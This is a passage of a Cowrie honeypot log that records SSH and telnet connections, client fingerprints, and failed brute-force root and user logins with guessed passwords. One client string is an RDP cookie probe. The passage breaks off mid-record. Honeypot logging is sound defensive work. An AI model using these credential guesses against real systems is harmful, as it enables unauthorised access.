{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:53.705575Z","src_ip":"181.0.214.136","session":"27e45d2e11c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123456..","message":"login attempt [root/Aa123456..] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:54.412235Z","src_ip":"181.0.214.136","session":"27e45d2e11c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":15.31797480583191,"message":"Connection lost after 15 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:55.041268Z","src_ip":"152.42.224.71","session":"1389357e6b18","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:55.579302Z","src_ip":"181.0.214.136","session":"27e45d2e11c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":35956,"dst_ip":"10.17.0.5","dst_port":23,"session":"114251539af0","protocol":"telnet","message":"New connection: 152.42.224.71:35956 (10.17.0.5:23) [session: 114251539af0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:57.423851Z"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":35288,"dst_ip":"10.17.0.5","dst_port":22,"session":"9e8a378d4a9a","protocol":"ssh","message":"New connection: 43.153.69.201:35288 (10.17.0.5:22) [session: 9e8a378d4a9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:59.473592Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:59.483745Z","src_ip":"43.153.69.201","session":"9e8a378d4a9a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:59.552977Z","src_ip":"43.153.69.201","session":"9e8a378d4a9a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"morita","message":"login attempt [root/morita] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:59.861560Z","src_ip":"43.153.69.201","session":"9e8a378d4a9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"220.95.64.40","src_port":60372,"dst_ip":"10.17.0.5","dst_port":23,"session":"dcabe66f1c15","protocol":"telnet","message":"New connection: 220.95.64.40:60372 (10.17.0.5:23) [session: dcabe66f1c15]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:10:59.925633Z"}
{"eventid":"cowrie.session.closed","duration":60.011176109313965,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:00.542025Z","src_ip":"152.42.224.71","session":"3441a0815637","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:00.933728Z","src_ip":"43.153.69.201","session":"9e8a378d4a9a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":55684,"dst_ip":"159.203.135.109","dst_port":22,"session":"0d893e7bc5c6","protocol":"ssh","message":"New connection: 154.83.13.181:55684 (159.203.135.109:22) [session: 0d893e7bc5c6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:07.325760Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:07.331102Z","src_ip":"154.83.13.181","session":"0d893e7bc5c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43784,"dst_ip":"10.17.0.5","dst_port":23,"session":"105f5b7d97de","protocol":"telnet","message":"New connection: 152.42.224.71:43784 (10.17.0.5:23) [session: 105f5b7d97de]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:08.343647Z"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:08.918375Z","src_ip":"154.83.13.181","session":"0d893e7bc5c6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev1","password":"dev1","message":"login attempt [dev1/dev1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:09.547806Z","src_ip":"154.83.13.181","session":"0d893e7bc5c6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:10.762860Z","src_ip":"154.83.13.181","session":"0d893e7bc5c6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":60048,"dst_ip":"10.17.0.5","dst_port":22,"session":"0848a613b059","protocol":"ssh","message":"New connection: 170.106.119.118:60048 (10.17.0.5:22) [session: 0848a613b059]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:12.948488Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:12.954127Z","src_ip":"170.106.119.118","session":"0848a613b059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.036870956420898,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:12.962370Z","src_ip":"220.95.64.40","session":"dcabe66f1c15","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:13.025075Z","src_ip":"170.106.119.118","session":"0848a613b059","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"florence","message":"login attempt [root/florence] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:13.356930Z","src_ip":"170.106.119.118","session":"0848a613b059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:14.430145Z","src_ip":"170.106.119.118","session":"0848a613b059","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.854644775390625,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:14.883954Z","src_ip":"152.42.224.71","session":"518dbcde3d45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":44.49882769584656,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:18.621061Z","src_ip":"152.42.224.71","session":"7f27480fbe45","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":37640,"dst_ip":"10.17.0.5","dst_port":22,"session":"1117f74eea67","protocol":"ssh","message":"New connection: 197.248.104.31:37640 (10.17.0.5:22) [session: 1117f74eea67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:21.690068Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:21.695034Z","src_ip":"197.248.104.31","session":"1117f74eea67","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:21.907693Z","src_ip":"197.248.104.31","session":"1117f74eea67","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123","message":"login attempt [root/qwe123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:22.775259Z","src_ip":"197.248.104.31","session":"1117f74eea67","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:23.990372Z","src_ip":"197.248.104.31","session":"1117f74eea67","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.22.143","src_port":50196,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2a9601d6d69","protocol":"ssh","message":"New connection: 43.153.22.143:50196 (10.17.0.5:22) [session: b2a9601d6d69]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:24.482440Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:24.489950Z","src_ip":"43.153.22.143","session":"b2a9601d6d69","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:24.557457Z","src_ip":"43.153.22.143","session":"b2a9601d6d69","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tanja","message":"login attempt [root/tanja] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:24.862737Z","src_ip":"43.153.22.143","session":"b2a9601d6d69","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:25.934577Z","src_ip":"43.153.22.143","session":"b2a9601d6d69","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":52488,"dst_ip":"10.17.0.5","dst_port":22,"session":"a120b38daf84","protocol":"ssh","message":"New connection: 152.42.212.128:52488 (10.17.0.5:22) [session: a120b38daf84]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:27.127990Z"}
{"eventid":"cowrie.session.connect","src_ip":"77.94.47.83","src_port":34394,"dst_ip":"159.203.135.109","dst_port":22,"session":"2756a2f2aa1b","protocol":"ssh","message":"New connection: 77.94.47.83:34394 (159.203.135.109:22) [session: 2756a2f2aa1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:27.133832Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:27.137561Z","src_ip":"152.42.212.128","session":"a120b38daf84","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:27.145928Z","src_ip":"152.42.212.128","session":"a120b38daf84","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:27.153704Z","src_ip":"77.94.47.83","session":"2756a2f2aa1b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:27.275584Z","src_ip":"77.94.47.83","session":"2756a2f2aa1b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"agyn5yl79s","message":"login attempt [root/agyn5yl79s] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:27.640709Z","src_ip":"77.94.47.83","session":"2756a2f2aa1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:28.766942Z","src_ip":"77.94.47.83","session":"2756a2f2aa1b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.96460318565369,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:30.848783Z","src_ip":"152.42.224.71","session":"9528b95199cd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.124.153","src_port":45508,"dst_ip":"10.17.0.5","dst_port":22,"session":"414fb47a583e","protocol":"ssh","message":"New connection: 43.153.124.153:45508 (10.17.0.5:22) [session: 414fb47a583e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:45.069781Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T13:11:45.075076Z","src_ip":"43.153.124.153","session":"414fb47a583e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@open